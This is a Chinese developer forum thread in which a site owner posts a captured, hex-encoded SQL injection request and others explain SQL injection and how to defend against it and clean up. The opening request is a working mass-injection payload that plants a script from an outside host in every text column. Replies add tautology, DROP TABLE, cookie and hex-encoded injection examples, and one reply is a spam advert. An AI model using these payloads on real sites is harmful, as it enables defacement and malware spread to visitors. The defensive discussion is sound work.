news-detail.asp newsid=3751;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f747439396c6f762e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72%20eXeC(@s);-- 80

解决方案 »

  1.   

    被SQL注入了,帮忙看看,是啥原因。
      

  2.   

    1.2    SQL注入攻击的防御手段 由于越来越多的攻击利用了SQL注入技术,也随之产生了很多试图解决注入漏洞的方案。目前被提出的方案有: (1) 在服务端正式处理之前对提交数据的合法性进行检查; (2) 封装客户端提交信息; (3) 替换或删除敏感字符/字符串; (4) 屏蔽出错信息。 方案(1)被公认是最根本的解决方案,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作,不过这需要开发者能够以一种安全的方式来构建网络应用程序,虽然已有大量针对在网络应用程序开发中如何安全地访问数据库的文档出版,但仍然有很多开发者缺乏足够的安全意识,造成开发出的产品中依旧存在注入漏洞;方案(2)的做法需要RDBMS的支持,目前只有Oracle采用该技术;方案(3)则是一种不完全的解决措施,例如,当客户端的输入为“…ccmdmcmdd…”时,在对敏感字符串“cmd”替换删除以后,剩下的字符正好是“…cmd…”;方案(4)是目前最常被采用的方法,很多安全文档都认为SQL注入攻击需要通过错误信息收集信息,有些甚至声称某些特殊的任务若缺乏详细的错误信息则不能完成,这使很多安全专家形成一种观念,即注入攻击在缺乏详细错误的情况下不能实施。 而实际上,屏蔽错误信息是在服务端处理完毕之后进行补救,攻击其实已经发生,只是企图阻止攻击者知道攻击的结果而已。本文所介绍SQL盲注技术就是一些攻击者使用的新技术,其在错误信息被屏蔽的情况下使攻击者仍能获得所需的信息,并继续实施注入攻击。
      

  3.   

    不修改网站程序,使用第三方工具来防范SQL注入式攻击 网站要怎么防范最最常见SQL注入式攻击呢,我们先从SQL注入式攻击的原理来说起。 网站遭受SQL注入式攻击的基本原理:
    1.没有正确过滤特殊字符,例如单引号和分号
    如果你的sql语句是这样,又没过滤“’”单引号:
    "SELECT * FROM tables WHERE param = '" + RequestString+ "'; "
    攻击者将用户名变量(即RequestString)设置为:
    a' or 't'='t此时原始语句发生了变化:
    SELECT * FROM tables WHERE param = 'a' OR 't'='t';如果这种代码被用于一个认证过程,那么这个例子就能够强迫选择一个合法的用户名,因为赋值't'='t永远是正确的。
    这种方式是跳过身份认证的最简单手段再配合“;”分号可以进行更多的sql注入攻击
    ";"分号用来执行多个语句。下面语句中的RequestString的值将会导致删除“tables”表,
    又可以从“dataTables”表中选择所有的数据(实际上就是透露了每一个用户的信息)。
    a'; DROP TABLE tables; SELECT * FROM dataTables WHERE param LIKE '%这就将最终的SQL语句变成下面这个样子:
    SELECT * FROM tables WHERE param = 'a'; DROP TABLE tables; SELECT * FROM dataTables WHERE param LIKE '%';通过这种原理可以执行很多很多攻击了。2.不正确处理变量类型如果一个用户提供的字段并非一个强类型,或者没有实施类型强制,就会发生这种形式的攻击。当在一个SQL语句中使用一个数字字段时,如果程序员没有检查用户输入的合法性(是否为数字型)就会发生这种攻击。例如:“SELECT * FROM tables WHERE id = " + RequestID + "; "从这个语句可以看出,作者希望RequestID是一个数字。
    不过,如果终端用户选择一个字符串,就绕过了对转义字符的需要。
    例 如,将RequestID设置为
    1; DROP TABLE tables
    就不需要上面说的“‘”单引号了,照样可以进行攻击:会将“tables”表从数据库中删除,
    SQL语句变成:SELECT * FROM DATA WHERE id = 1; DROP TABLE users;网站遭受SQL注入式攻击的基本方式:1.最常见的也就是在查询字符串中直接输入SQL攻击字符串。例如:page.asp?id=Num and exists (select * from [admin])2.其次就是在FORM表单中提交的SQL注入攻击字段。3.通过COOKIE绕过一些放注入的脚本程序例如:javascript:alert(document.cookie="id="+escape("这就是asp? id=xx后面xx代表的数值) and (这里是注入攻击代码)"));4.还有就是上面几种的攻击通过16进制编码后,绕过SQL注入检测的脚本程序page.asp?id=Num;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0x4400650063006C0061007200650020004000540020005600610072006300680061007200280032003500350029002C0040004300200056006100720063006800610072002800320035003500290020004400650063006C0061007200650020005400610062006C0065005F0043007500720073006F00720020004300750072007300' 这种可以跳过敏感字符的判断和SQL关键词的判断。 总结一下,要防止SQL注入主要是要在查询字符串(QueryString),表单数据(PostData)以及Cookie甚至HTTP报头(Header)中防止掉一些特殊字符(单引号,分号)以及SQL语言的关键字,以及防止他们使用16进制编码。 用ASP或者PHP脚本来实现上面的这些想起来就很麻烦。下面就来介绍下用一个第三方工具IISUTM来处理上面我们说到的问题。 准备工作:先去www.iisutm.com下载最新的IISUTM版本。 根据IISUTM网站防火墙安装及操作手册 中的说明把IISUTM部署到你的服务器上来,这里需要注意的是使用Windows 2003+iis6的服务器,需要开启iis中“以IIS5.0 隔离模式运行 www 服务”选项才能正常使用该软件。 安装完成,通过浏览器访问IISUTM的配置管理界面默认的是http://127.0.0.1:8362,这个是私有地址,只能在该服务器上访问,你需要任何地方都能访问的话,可以在安装的时候IP地址的选项那里填入你服务器的公网IP地址,和你所开放的端口。这样你就可以通过你配置的地址进行访问,或者你可以在iis中直接管理名为IISUTM的站点。 登陆管理界面后点击上面导航栏中的“基本设置”,然后点击左边菜单的“防SQL注入”链接。 开启该链接里所有的选项,选中之后IISUTM会自动保存配置,下面的SQL注入关键字是该软件提供的SQL注入关键字以及特殊符号的特征库,你可以根据你网站的情况进行更改(最好不要修改)。IISUTM会自动拒绝16进制的编码。 确认以上的配置以后,你可以返回到IISUTM管理界面的首页,这里会列出最近服务器遭受到的攻击以及详细,赶紧去看看你的网站是不是随时有人在进行SQL注入吧,以及哪些攻击被IISUTM处理掉了。 
      

  4.   

    http://blog.163.com/best-abc/blog/static/118554004200952134651312/
    你去看看这个文章  希望对你有帮助
      

  5.   

    http://topic.csdn.net/u/20090307/00/ab1872d2-0a72-4e32-91a4-3092f04e824d.html
    http://topic.csdn.net/u/20090307/00/ab1872d2-0a72-4e32-91a4-3092f04e824d.html
    多看看吧
      

  6.   

    菜鸟入门级:SQL注入攻击=>http://blog.csdn.net/wufeng4552/archive/2008/12/05/3449963.aspx
      

  7.   

    如何最快速度删除? 
    " <script   src=http://3b3.org/c.js> </script> " 
    --------------------------------------------------------------- 
    进入SQL查询分析器 
    选择你的数据库 
    第一步:先sql表修改所有者为dbo 
    EXEC   sp_MSforeachtable   'exec   sp_changeobjectowner   ' '? ' ', ' 'dbo ' '   ' 第二步:统一删除字段被挂的js 
    declare   @delStr   nvarchar(500)   
    set   @delStr= ' <script   src=http://3b3.org/c.js> </script> ' set   nocount   on declare   @tableName   nvarchar(100),@columnName   nvarchar(100),@tbID   int,@iRow   int,@iResult   int   
    declare   @sql   nvarchar(500) set   @iResult=0   
    declare   cur   cursor   for   
    select   name,id   from   sysobjects   where   xtype= 'U ' open   cur   
    fetch   next   from   cur   into   @tableName,@tbID while   @@fetch_status=0   
    begin   
    declare   cur1   cursor   for   
                    --xtype   in   (231,167,239,175,35)   为char,varchar,nchar,nvarchar,text类型   
                    select   name   from   syscolumns   where   xtype   in   (231,167,239,175,35)   and   id=@tbID   
    open   cur1   
    fetch   next   from   cur1   into   @columnName   
    while   @@fetch_status=0   
    begin   
                set   @sql= 'update   [ '   +   @tableName   +   ']   set   [ '+   @columnName   + ']=   replace([ '+@columnName+ '], ' ' '+@delStr+ ' ' ', ' ' ' ')   where   [ '+@columnName+ ']   like   ' '% '+@delStr+ '% ' ' '   
                exec   sp_executesql   @sql             
                set   @iRow=@@rowcount   
                set   @iResult=@iResult+@iRow   
                if   @iRow> 0   
                begin 
    print   '表: '+@tableName+ ',列: '+@columnName+ '被更新 '+convert(varchar(10),@iRow)+ '条记录; '   
                end             
                fetch   next   from   cur1   into   @columnName 
    end   
    close   cur1   
    deallocate   cur1   fetch   next   from   cur   into   @tableName,@tbID   
    end   
    print   '数据库共有 '+convert(varchar(10),@iResult)+ '条记录被更新!!! ' close   cur   
    deallocate   cur   
    set   nocount   off 
    --------------------------------------------------------------- 
    彻底杜绝SQL注入 1.不要使用sa用户连接数据库 
    2、新建一个public权限数据库用户,并用这个用户访问数据库 
    3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限 
    4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×” 
    5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高): 
    DECLARE   @T   varchar(255), 
    @C   varchar(255) 
    DECLARE   Table_Cursor   CURSOR   FOR 
    Select   a.name,b.name   from   sysobjects   a,syscolumns   b 
    where   a.id=b.id   and   a.xtype= 'u '   and   (b.xtype=99   or   b.xtype=35   or   b.xtype=231   or   b.xtype=167)   
    OPEN   Table_Cursor 
    FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C 
    WHILE(@@FETCH_STATUS=0) 
    BEGIN   print   @c 
    FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C   
    END 
    CLOSE   Table_Cursor 
    DEALLOCATE   Table_Cursor   
    --------------------------------------------------------------- 
    让3b3.org   c.js注入见鬼去吧! 
    ---------------------------------------------------------------
      

  8.   

    什么是SQL注入来自微软专家的SQL注入防范方法SQL注入不完全思路与防注入程序   
      

  9.   

    你用的是SQL SERVER2000吧,SQL SERVER2005的怎么设置呢?
      

  10.   

    取newsid的时候,用clng()过滤一下吧
      

  11.   

    消除注入代码的逆操作SQL:
    Declare @T Varchar(255),@C Varchar(255) 
    Declare Table_Cursor Cursor For 
    Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor 
    Fetch Next From  Table_Cursor Into @T,@C While(@@Fetch_Status=0) 
    Begin 
        Exec('update ['+@T+'] Set ['+@C+']=replace(['+@C+'],'''','''')')
        Fetch Next From  Table_Cursor Into @T,@C 
    End 
    Close Table_Cursor 
    Deallocate Table_Cursor
      

  12.   

    http://topic.csdn.net/u/20090427/01/2a55eef7-0d8a-47db-9c73-8ef6da4cb8d6.html
      

  13.   

    对了各位,SQL SERER2005里的用户怎么禁止对sysobjects,syscolumns的读取和访问
      

  14.   

    谁有SQL注入解码工具,发一个给我,谢谢。
      

  15.   

    http://blog.sina.com.cn/s/blog_60b75d080100e8lv.html
    http://wf66.com/down/soft19/23118BF2C1.htm
      

  16.   

    利好网赚分享网络赚钱资讯的免费网赚平台,帮助朋友们学到网赚技巧、实现网赚梦想。在这里聚集了最新的各种网赚,努力为大家提供最新最全的网赚信息,是网赚行业中最大影响力的综合性免费创业网赚论坛!网址http://www.lhwz8.com/
      

  17.   

    http://topic.csdn.net/u/20090708/09/b78444ee-9081-4ff7-8aa5-ba6f9b1d9fdc.html